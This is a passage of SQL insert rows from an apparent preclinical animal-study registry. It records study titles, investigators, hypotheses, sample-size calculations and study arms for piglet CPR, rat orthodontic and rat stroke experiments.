	(7682,195,'experimental_design','\"Pediatric piglet model of cardiac arrest.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7683,195,'sample_size_calculation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7684,195,'sample_size_calculation_details','\"Our primary outcome measure will be time to achieve ROSC. Our previous studies showed a mean (standard deviation) time to ROSC of 700 (120) secs during CPR with chest compressions with asynchronous ventilation (CCaV). We hypothesize that using 21% or 100% with CC+SI during CPR will reduce time to ROSC. A sample size of 32 piglets (8 per group) will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 700 sec vs. 560 sec), with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7685,195,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen during CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen during CC+SI\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"21% oxygen during CCaV\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"100% oxygen during CCaV\"}]','2022-03-31 13:23:52','2022-03-31 13:23:59'),
	(7686,195,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7687,195,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7688,195,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7689,195,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7690,195,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7691,195,'placebo_controlled','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7692,195,'has_embargo','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7693,196,'title','\"Two-Thumb versus Two-Finger Method of Chest Compression during Cardiopulmonary Resuscitation of Asphyxiated Newborn Piglets\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7694,196,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7695,196,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7696,196,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7697,196,'study_centre','[{\"name\":\"Medical University Graz\",\"city\":\"Graz\",\"country\":\"AT\"}]','2022-03-31 13:23:52','2022-03-31 13:23:56'),
	(7698,196,'financial_support','[\"grants\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7699,196,'start_date','\"2021-06-01\"','2022-03-31 13:23:52','2022-03-31 13:23:56'),
	(7700,196,'end_date','\"2022-06-30\"','2022-03-31 13:23:52','2022-03-31 13:23:56'),
	(7701,196,'study_status','\"not_started\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7702,196,'research_field','\"Pediatrics, Neonatology\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7703,196,'hypothesis','\"We hypothesize that using the two-thumb method of delivering chest compressions (CC) during cardiopulmonary resuscitation (CPR) will result in a reduced time to return of spontaneous circulation (ROSC) compared to using the two-finger method.\"','2022-03-31 13:23:52','2022-03-31 13:23:57'),
	(7704,196,'intervention_type','\"delivery_method\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7705,196,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7706,196,'primary_readout_parameter','\"Efficacy: Primary outcome measure is CPR time to achieve ROSC.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7707,196,'secondary_readout_parameter','\"Secondary endpoints are hemodynamic parameters, respiratory parameters, and injury markers.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7708,196,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7709,196,'species','\"pig\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7710,196,'sex','\"both\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7711,196,'experimental_design','\"Newborn piglet model of hypoxia asphyxia-induced cardiac arrest.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7712,196,'sample_size_calculation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7713,196,'sample_size_calculation_details','\"Our previous studies showed a mean (standard deviation) time to achieve ROSC of 220 (25) seconds using the two-thumb technique. We hypothesize that piglets given CC with the two-thumb method will have a faster time to ROSC than the two-finger method. A sample size of 8 per group will be sufficient to detect a clinically important (20%) reduction in time to achieve ROSC (i.e., 120 sec vs. 150 sec), with 80% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:23:52','2022-03-31 13:23:57'),
	(7714,196,'sum_of_animals','\"20\"','2022-03-31 13:23:52','2022-03-31 13:23:57'),
	(7715,196,'study_arms','[{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Thumb Method of CC\"},{\"type\":\"intervention\",\"number\":\"8\",\"intervention\":\"Two-Finger Method of CC\"},{\"type\":\"sham\",\"number\":\"4\",\"intervention\":\"Sham\"}]','2022-03-31 13:23:52','2022-03-31 13:23:57'),
	(7716,196,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7717,196,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7718,196,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7719,196,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7720,196,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7721,196,'placebo_controlled','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7722,196,'has_embargo','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7723,197,'contact_name','\"Dr Shiu Cheuk Chow\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7724,197,'contact_role','\"Investigator\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7725,197,'contact_email','\"conroycheuk@gmail.com\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7726,197,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7727,197,'sex','\"both\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7728,197,'sum_of_animals','\"36\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7729,197,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7730,197,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7731,197,'details_randomisation','\"block_randomisation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7732,197,'has_embargo','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7733,197,'placebo_controlled','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7734,197,'original_animal_ethics_committee_application','\"TBC\\/ University of Sydney\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7735,197,'application_number','\"TBC\\/ University of Sydney\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7736,197,'title','\"The effect of orally ingested Curcumin and Piperine on the rate of orthodontic tooth movement and the extent of root resorption in a rodent model \\u2013 A pilot study \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7737,197,'short_title','\"N\\/A\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7738,197,'study_centre','[{\"name\":\"Charles Perkins Centre\",\"city\":\"Sydney\",\"country\":\"AU\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7739,197,'financial_support','[\"grants\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7740,197,'start_date','\"2020-08-31\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7741,197,'end_date','\"2020-10-31\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7742,197,'study_status','\"not_started\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7743,197,'research_field','\"Orthodontics\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7744,197,'hypothesis','\"No effect of orally ingested Curcumin and Piperine on the rate of orthodontic tooth movement, and reduction in the extent of root resorption.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7745,197,'intervention_type','\"other\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7746,197,'other_intervention_type','\"Compound and delivery method\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7747,197,'study_stage','\"study_stage_2_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7748,197,'primary_readout_parameter','\"Efficacy: The aim of the study is to study the effect of orally ingested Curcumin and Piperine on the rate of\\northodontic tooth movement, and the extent of root resorption in a rodent model. Classic root resorption\\nstudies on rats describe the histological changes seen under light microscopy when an orthodontic force is\\napplied to the teeth. Brudvik and Rygh (1993) found evidence of root resorption 2 to 3 days following the\\napplication of 50g force, delivered by NiTi coil spring between incisor and molar in their rodent sample.\\nRen et al (2004) applied 10g of orthodontic force (through a nickel titanium closed coil) to the maxillary first\\nmolar on Wistar rats. They concluded that the velocity of the experimental tooth movement was higher in\\nthe initial phase (0\\u20133 weeks) compared in the later phase (4\\u201312 weeks) of force application. They also\\nestablished that forces &gt; 10g applied to a rodent tooth is equivalent to a heavy force in a human sample.\\nTherefore, this study proposes to conduct will apply 10g of orthodontic force over a four week period to\\nmimic the effects of heavy orthodontic forces and the development of root resorption, while similarly\\nproviding sufficient time for peak velocity of orthodontic tooth movement.\\n\\nStudy design\\nAll rodents will have orthodontic appliances fitted (see below). The rodents will be randomised (by computer generated randomisation) to one of three groups: \\n-\\tGroup 1: Placebo (water) \\n-\\tGroup 2: Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in aqueous solution.\\n-\\tGroup 3: Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in Mogroside solid-dispersion. \\nThe placebo and Curcumin\\/Piperine formulations will be delivered daily via oral gavage\\n\\nAcclimatisation Period\\nThe acclimatisation period spans 2 weeks. Thirty six (36) 11 weeks old Wistar Rats are weighed and a live Micro CT scan is taken of each rodent\\u2019s head. The micro-CT will enable digital measurement of the linear distance between the maxillary first molar and the maxillary central incisor. The micro-CT will also provide a 3D recreation of the root morphology of the first maxillary molar. A sample of blood from the tail vein will be collected and frozen. \\n\\nOrthodontic Protocol\\nFollowing the 2 week Acclimatisation Period, orthodontic appliances are fitted to each rodent under general anaesthesia as per the \\u2018Insertion of Orthodontic Appliances SOP\\u2019. The appliances will be in situ for four consecutive weeks; \\nThe rats are ligated with the nickel titanium closed coils with 0.008\\u201d stainless steel ligatures from the first maxillary molar to the ipsilateral maxillary central. \\n\\nPost Orthodontic Phase\\nFollowing the 4 week Orthodontic Protocol, the placebo and Curcumin\\/Piperine formulations will be ceased and the rodents will be euthanised. \\n\\nA micro CT scan of the sectioned and fixed maxillae will be performed to quantify the amount of mesial movement of the maxillary first molar, and to measure any resorption craters on the root surface of the maxillary first molar. These measurements will be compared against the baseline microCT scan to determine the amount of tooth movement and extent of root resorption.\\n\\nThe results will be analysed with the assistance of a statistician to determine whether the addition of a formulation of Curcumin\\/Piperine can improve the outcomes of a commonly performed orthodontic procedure. \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7749,197,'species','\"rat\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7750,197,'strain','\"Albino Wistar (ArcCrl:WI)\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7751,197,'sample_size_calculation','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7752,197,'study_arms','[{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"Placebo (water) \"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in aqueous solution\"},{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"Curcumin 2g\\/kg and Piperine 20mg\\/kg of body weight in Mogroside solid-dispersion\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7753,197,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7754,197,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7755,197,'experimental_design','\"Based on Ren 2004, rodent model for analyzing tooth movement\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7756,197,'link_to_data','\"Nil\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7757,197,'secondary_readout_parameter','\"\\/\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7758,189,'other_intervention_type','\"Empagliflozin and Linagliptin\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7759,189,'sample_size_calculation_details','\"Greater planned sample size for the STZ- as compared to vehicle-injected rats is based on the assumption that some diabetic rats may die so that at least 16 rats per group remain eligible for analysis. This sample size is not based on a formal power calculation but on past experience with the STZ model. The reason for the lack of a formal power calculation is that we have not basis to assume which effect size for changes of miRNA expression is biologically relevant and which variability in expression is to be expected.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7760,198,'title','\"Head down tilt 15\\u00b0 as a collateral therapeutic in acute ischemic stroke due to large vessel occlusion (HDT15 COLLATERALS): a perfusion MRI study in rats.\"','2022-03-31 13:23:52','2022-03-31 13:23:53'),
	(7761,198,'short_title','\"HDT15 COLLATERALS\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7762,198,'contact_name','\"Simone Beretta\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7763,198,'contact_role','\"Principal Investigator\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7764,198,'contact_email','\"simone.beretta@unimib.it\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7765,198,'study_centre','[{\"name\":\"University of Milano Bicocca\",\"city\":\"Monza\",\"country\":\"IT\"},{\"name\":\"University of Lyon 1\",\"city\":\"Lyon\",\"country\":\"FR\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7766,198,'financial_support','[\"investigator_driven\",\"grants\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7767,198,'start_date','\"2019-02-10\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7768,198,'end_date','\"2021-12-31\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7769,198,'study_status','\"active\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7770,198,'research_field','\"Neuroscience, Neurology, Vascular Neurology, Stroke Medicine\"','2022-03-31 13:23:52','2022-03-31 13:23:53'),
	(7771,198,'hypothesis','\"In acute ischemic stroke due to large vessel occlusion, head down tilt 15\\u00b0 (HDT15) has the potential to increase cerebral perfusion through the collateral circulation, by gravitational blood flow diversion from the lower body towards the head. By increasing the collateral flow, HDT15 may slow down the pace of penumbra evolution, expand the time window of recanalization therapies and ultimately improve the neurologic outcome. HDT15\\u00b0 is an extremely simple, low cost and feasible maneuver that represents a potential collateral therapeutic for the early, pre-hospital, management of acute ischemic stroke.\"','2022-03-31 13:23:52','2022-03-31 13:23:54'),
	(7772,198,'intervention_type','\"other\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7773,198,'other_intervention_type','\"head down tilt 15\\u00b0 (positional therapy for increasing cerebral collateral flow)\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7774,198,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7775,198,'primary_readout_parameter','\"Efficacy: Cerebral perfusion changes in the ischemic hemisphere, assessed by dynamic susceptibility contract (DSC) perfusion MRI. This preclinical trial will compare HDT15 versus flat position. \\nThe cerebral perfusion will be quantified using the normalized time-to-peak (TTP) value in the entire ischemic hemisphere as the main outcome parameter. The higher the TTP value, the lower the cerebral perfusion. Conversely, the lower the TTP value, the higher the cerebral perfusion. \"','2022-03-31 13:23:52','2022-03-31 13:23:53'),
	(7776,198,'secondary_readout_parameter','\"Infarct growth, assessed by MRI (volumetric difference between hyperacute DWI lesion at 1 hours and T2 lesion at 24 hours)\\nInfarct volume at 24 hours, assessed by MRI (T2 lesion, volumetric)\\nFunctional neurological outcome at 24 hours, assessed by Garcia neuroscore\\nDeath at 24 hours\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7777,198,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7778,198,'species','\"rat\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7779,198,'strain','\"Wistar rats 280-300 g\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7780,198,'sex','\"male\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7781,198,'experimental_design','\"Transient occlusion of the proximal right middle cerebral artery, by endoluminal filament, followed by reperfusion\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7782,198,'sample_size_calculation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7783,198,'sample_size_calculation_details','\"The primary objective of the proposed study is to test the null hypothesis that the perfusion change in the ischemic hemisphere during a 90-minutes middle cerebral artery (MCA) occlusion is identical in rats treated with HDT15 compared to flat position. \\nFrom previous experiments in MCA occluded rats, we know that cerebral perfusion slightly decreases (TTP change +2%) during a 90-minutes MCA occlusion, with 25% standard deviation. The criterion for significance (alpha) has been set at 0.050, two-tailed. With the proposed sample size of 12 rats for each group, the study will have power of 80% to yield a statistically significant result. This computation assumes that an increase in cerebral perfusion (TTP change -30%) will be of substantive translational significance. \"','2022-03-31 13:23:52','2022-03-31 13:23:53'),
	(7784,199,'title','\"P-glycoprotein as a pharmacological target for cerebrovascular accidents treatment\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7785,199,'short_title','\"P-glycoprotein and brain ischemia\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7786,199,'study_centre','[{\"name\":\"Ryazan state medical university\",\"city\":\"Ryazan\",\"country\":\"RU\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7787,199,'financial_support','[\"grants\",\"other\"]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7788,199,'other_financial_support','\"Ryazan state medical university\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7789,199,'start_date','\"2016-09-01\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7790,199,'end_date','\"2020-11-15\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7791,199,'study_status','\"active\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7792,199,'research_field','\"pharmacology, pharmacokinetics,neurology\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7793,199,'hypothesis','\"Expediency to inhibit P-glycoprotein to improve the results of neuroprotective pharmacotherapy of cerebrovascular accidents\"','2022-03-31 13:23:52','2022-03-31 13:23:53'),
	(7794,199,'intervention_type','\"compound\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7795,199,'study_stage','\"study_stage_1_value\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7796,199,'primary_readout_parameter','\"Safety: Size of infarct area of rats brain after middle cerebral artery occlusion-reperfusion (ImageJ programm); rats mortality after bilateral common carotid artery occlusion (observation for 72 hours); rats neurological deficiency after bilateral common carotid artery occlusion (McGrow scale); belonging of modern neuroprotective drugs to P-glycoprotein substrates (neuroprotective drugs pharmacokinetics after their single oral administration after the course administration of known P-glycoprotein inhibitor and inductor; high performance liquid chromatography - HPLC); P-glycoprotein functional activity in blood-brain (BBB) barrier of rats during middle cerebral artery occlusion-reperfusion or bilateral common carotid artery occlusion (level of marker substrate of P-glycoprotein - fexofenadine accumulation in brain tissue after its single i\\/v administration; HPLC); P-glycoprotein functional activity in the intestine of rabbits after neuroprotective drugs admanistration (pharmacokinetics of marker substrate of P-glycoprotein - fexofenadine after its single oral administration; HPLC). The additional information about the first 5 groups: nimodipine is neuroprotective drug which is P-glycoprotein substrate, omeprazol is P-glycoprotein inhibitor without neuroprotective activity, their combination possibly improves the results of rats therapy after middle cerebral artery occlusion-reperfusion. The endpoint here is the size of infarct area of rats.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7797,199,'exclusive_animal_use','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7798,199,'secondary_readout_parameter','\"Possibility to improve the results of neuroprotective pharmacotherapy of cerebrovascular accidents by P-glycoprotein pharmacological inhibition (inprovement of neuroprotective pharmacotherapy efficiency after combination of the neuroprotective drug-substrate of P-glycoprotein with P-glycoprotein inhibitor)\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7799,199,'species','\"rabbit\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7800,199,'other_species','\"Rats also\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7801,199,'strain','\"Chinchilla,wistar\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7802,199,'sex','\"male\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7803,199,'experimental_design','\"acute brain ischemia, chronic brain ischemia\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7804,199,'sample_size_calculation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7805,199,'sample_size_calculation_details','\"Power of 80, alpha of 0.05, expected difference - more then 20%; no drop-outs anticipated. According to our previous expirience necessary number of rabbits to assess the possible effect of drugs on P-glycoprotein functional activity in the intestine is 6. Number of rabbits to analyse the belonging of neuroprotective drugs to P-glycoprotein substrates is 12 because both inhibitor and inductor are used (omberacetam is an exeption because the HPLC methodics sensetivity). Number of rats to asses the activity of P-glycoprotein in the BBB is 30 for every group because we have used 6 time-points after fexofenadine i\\/v administration and 5 rats for every time-point. When assess P-glycoprotein chronic brain ischemia for every time-poin also 5 rats were used.\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7806,199,'sum_of_animals','\"86 rabbits, 358 rats\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7807,199,'study_arms','[{\"type\":\"sham\",\"number\":\"6 rats\",\"intervention\":\"chronic brain ischemia (rats mortality and neurological deficiency)\"},{\"type\":\"control\",\"number\":\"14 rats\",\"intervention\":\"chronic brain ischemia (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"13 rats\",\"intervention\":\"chronic brain ischemia and nimodipine administration (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"11 rats\",\"intervention\":\"chronic brain ischemia and omeprazol administration (rats mortality and neurological deficiency)\"},{\"type\":\"intervention\",\"number\":\"16 rats\",\"intervention\":\"chronic brain ischemia and omeprazol+nimodipine administration (rats mortality and neurological deficiency)\"},{\"type\":\"other\",\"number\":\"120 rats\",\"intervention\":\"Development of methodics of P-glycoprotein activity in BBB analyses (fexofenadine single i\\/v administration alone and with P-glycoprotein inductor - rifampicin and two P-glycoprotein inhibitors - verapamil and omeprazol) and its concentration in brain analyses)\"},{\"type\":\"intervention\",\"number\":\"60 rats\",\"intervention\":\"Analyses of expediency to Inhibit P-glycoprotein activity in BBB in order to improve the results of neuroprotective pharmacotherapy of acute cerebrovascular accident (fexofenadine single i\\/v administration alone andwith P-glycoprotein inhibitor - omeprazol in the moment of reperfusion of the middle cerebral artery; infarct area calculation)\"},{\"type\":\"intervention\",\"number\":\"60 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during chronic brain ischemia (6 time-points after bilateral common carotid artery occlusion, 5 rats for every time-point for P-glycoprotein quantity analyses in brain cortex; 30 rats to assess the level of transcriptional factors HIF1 and Nrf2)\"},{\"type\":\"intervention\",\"number\":\"58 rats\",\"intervention\":\"Analyses of P-glycoprotein functioning during acute brain ischemia (30 rats to assess P-glycoprotein functional activity in BBB; 13 rats - permeability of BBB; 15 rats to assess the level of transcriptional factors HIF1 and Nrf2 \"},{\"type\":\"intervention\",\"number\":\"30 rabbits\",\"intervention\":\"Development of HPLC methodics of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam quantitative analyzis in blood plasma of rabbits\"},{\"type\":\"intervention\",\"number\":\"56 rabbits\",\"intervention\":\"Analysis of ethilmethylhyproxipiridine succinate, fabomotizole and omberacetam belonging to P-glycoprotein substrates and modulators\"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7808,199,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7809,199,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7810,199,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7811,199,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7812,199,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7813,199,'placebo_controlled','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7814,199,'link_to_data','\"https:\\/\\/www.elibrary.ru\\/item.asp?id=32438216\\nhttps:\\/\\/www.elibrary.ru\\/item.asp?id=38150558\\nhttps:\\/\\/www.elibrary.ru\\/item.asp?id=30042996\\nhttps:\\/\\/www.elibrary.ru\\/item.asp?id=32402607\\nhttps:\\/\\/www.elibrary.ru\\/item.asp?id=37145214\\nhttps:\\/\\/www.elibrary.ru\\/item.asp?doi=10.1134\\/S0869813919050133\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7815,199,'has_embargo','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7816,199,'application_number','\"Protocol of the meeting of the Commission for Control over the Maintenance and Use of Laboratory Animals No. 7. Ryazan state medical univerity \"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7817,199,'contact_name','\"Ivan Chernykh\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7818,199,'contact_email','\"nauka@rzgmu.ru\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7819,198,'sum_of_animals','\"24\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7820,198,'study_arms','[{\"type\":\"intervention\",\"number\":\"12\",\"intervention\":\"head down tilt 15\\u00b0\"},{\"type\":\"control\",\"number\":\"12\",\"intervention\":\"flat position \"}]','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7821,198,'randomisation','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7822,198,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7823,198,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7824,198,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7825,198,'yes_blinded_intervention_partially_details','\"Yes\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7826,198,'placebo_controlled','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7827,198,'application_number','\"PROGETTO di RICERCA UNIMB FB7CC.43\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7828,198,'link_to_data','\"Cerebral collateral therapeutics in acute ischemic stroke: A randomized preclinical trial of four modulation strategies.\\nBeretta S, Versace A, Carone D, Riva M, Dell\'Era V, Cuccione E, Cai R, Monza L, Pirovano S, Padovano G, Stiro F, Presotto L, Patern\\u00f2 G, Rossi E, Giussani C, Sganzerla EP, Ferrarese C.\\nJ Cereb Blood Flow Metab. 2017 Oct;37(10):3344-3354. doi: 10.1177\\/0271678X16688705. Epub 2017 Jan 23.\\nhttps:\\/\\/pubmed.ncbi.nlm.nih.gov\\/28112023\\/\\n\\nCuccione E, Versace A, Cho T-H, Carone D, Berner L-P, Ong E, Rousseau D, Cai R, Monza L, Ferrarese C, Sganzerla EP, Berthez\\u00e8ne Y, Nighoghossian N, Wiart M, Beretta S, Chauveau F. Multi-site laser Doppler flowmetry for assessing collateral flow in experimental ischemic stroke: Validation of outcome prediction with acute MRI. J Cereb Blood Flow Metab. 2017;37(6):2159-2170.\"','2022-03-31 13:23:52','2022-03-31 13:23:54'),
	(7829,198,'has_embargo','\"no\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7830,199,'contact_role','\"research group supervisor\"','2022-03-31 13:23:52','2022-03-31 13:23:52'),
	(7831,200,'title','\"Hydrogel-based delivery of microRNA therapeutics to enhance cardiac regeneration\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7832,200,'short_title','\"REMAIN porcine pilot study\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7833,200,'contact_name','\"Aina Cervera i Barea\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7834,200,'contact_role','\"Executive researcher\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7835,200,'contact_email','\"a.cerveraibarea@umcutrecht.nl\"','2022-03-31 13:23:53','2022-03-31 13:23:53'),
	(7836,200,'study_centre','[{\"name\":\"University Medical Center Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:23:53','2022-03-31 13:23:53'),
